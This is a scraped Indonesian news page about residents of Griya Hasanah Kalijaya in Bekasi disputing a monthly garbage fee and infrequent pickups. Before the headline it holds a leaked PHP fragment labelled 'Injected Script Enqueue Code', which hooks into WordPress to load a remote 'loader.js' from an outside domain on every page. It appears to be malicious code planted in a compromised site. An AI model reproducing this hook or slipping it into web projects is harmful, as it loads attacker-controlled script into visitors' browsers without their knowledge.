// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Warga Griya Hasanah Kalijaya Pertanyakan Iuran dan Layanan Sampah yang Tidak Sesuai – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Tak Berkategori

Warga Griya Hasanah Kalijaya Pertanyakan Iuran dan Layanan Sampah yang Tidak Sesuai

19
×

Warga Griya Hasanah Kalijaya Pertanyakan Iuran dan Layanan Sampah yang Tidak Sesuai

Sebarkan artikel ini
Warga Griya Hasanah Kalijaya Pertanyakan Iuran dan Layanan Sampah yang Tidak Sesuai

Kabupaten Bekasi Fakta Terkini— Warga Perumahan Griya Hasanah Kalijaya Tahap 1, 2, dan 3 yang berjumlah sekitar 600 Kepala Keluarga (KK), menyampaikan keluhan terkait pungutan iuran sampah sebesar Rp15.000 per bulan per KK. Permasalahan ini mencuat lantaran Griya Hasanah Kalijaya merupakan perumahan subsidi, yang seharusnya mendapatkan kebijakan dan perhatian khusus dari pemerintah, namun tetap dikenakan biaya kebersihan tanpa transparansi maupun peningkatan layanan.

Ironisnya, meskipun secara administratif wilayah ini masuk dalam cakupan UPTD 3, justru mobil pengangkut sampah dari UPTD 4 yang memasuki kawasan ini. Ketidaksesuaian ini menimbulkan kebingungan dan pertanyaan di tengah masyarakat mengenai sistem kerja dan koordinasi antar Unit Pelaksana Teknis Daerah.

Example 300x600

Lebih mengecewakan lagi, frekuensi pengangkutan sampah hanya dilakukan dua minggu sekali, yang jelas tidak mencukupi kebutuhan lingkungan padat penduduk seperti Griya Hasanah Kalijaya. Akibatnya, terjadi penumpukan sampah yang berpotensi mengganggu kenyamanan warga serta menimbulkan dampak negatif bagi kesehatan dan lingkungan.

Oleh karena itu, warga dengan tegas mendesak pihak terkait, khususnya Dinas Lingkungan Hidup Kabupaten Bekasi, untuk segera:

  • Memberikan klarifikasi atas dasar penarikan iuran sampah di perumahan subsidi;
  • Menjelaskan penyebab terjadinya tumpang tindih antara UPTD 3 dan UPTD 4 dalam pengelolaan sampah;
  • Meningkatkan kualitas dan frekuensi layanan pengangkutan sampah agar sesuai dengan standar lingkungan sehat dan layak huni.

Langkah konkret dan transparan sangat diharapkan demi mengembalikan kepercayaan warga serta menjaga kenyamanan dan kebersihan lingkungan tempat tinggal mereka.

Tegas Warga.
Tutup: Bram
(Redaksi)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *